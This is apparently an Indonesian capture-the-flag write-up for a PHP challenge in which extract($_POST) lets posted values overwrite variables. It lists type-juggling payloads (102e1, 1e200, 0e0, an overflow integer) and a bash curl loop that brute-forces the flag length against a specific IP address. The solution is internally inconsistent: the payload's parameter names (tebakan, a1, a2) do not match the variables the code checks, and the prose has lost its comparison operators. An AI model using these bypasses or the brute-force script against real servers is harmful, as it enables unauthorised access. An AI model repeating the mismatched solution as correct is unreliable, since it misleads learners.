Bypass Numeric Condition
if(strlen($tebak) == 5 && $tebak == 1020){
extract($_POST);
if(strlen($tebek) == 5 && $tebek > 10000000000000 && $server == strlen(FLAG)){
echo CLUE;
$a1 = (int) $final;
$a2 = (string) $final;
if(isset($a1) and empty($a1) and $a1 == NULL and strlen($a2) != '1'){
if(chr(substr($tebak, 0,3)) == 'f'){
$not_final = $joke;
if(strlen($not_final) == 3 and $not_final == 0){
echo FLAG;
}
}
}
}
}
Harus melewati beberapa komparasi agar bisa mendapatkan flag. Nilai-nilai dari variable bisa dioverwrite karena terdapat penggunaan fungsi extract()
. if(strlen($tebak) 5 && $tebak 1020)
, strlen($tebek) 5 && $tebek
, dan strlen($not_final) 3 and $not_final 0
bisa dilewati dengan teknik eksponensial bawaan php. if(isset($a1) and empty($
bisa menggunakan MAX_INT sehingga mengakibatkan integer overflow. Variable $server
bisa dilakukan bruteforce untuk mendapatkan panjang flag yang benar.
tebakan=102e1
tebek=1e200
a1=18446744073709551616
a2=18446744073709551616
joke=0e0
server=N
Script:
#!/bin/bash
for i in $(seq 0 100); do
echo "Flag Len : ${i}\n"
curl 'http://203.201.167.78:1234/api.php' --data "tebakan=102e1&tebek=1e200&a1=18446744073709551616&a2=18446744073709551616&joke=0e0&server=${i}";
done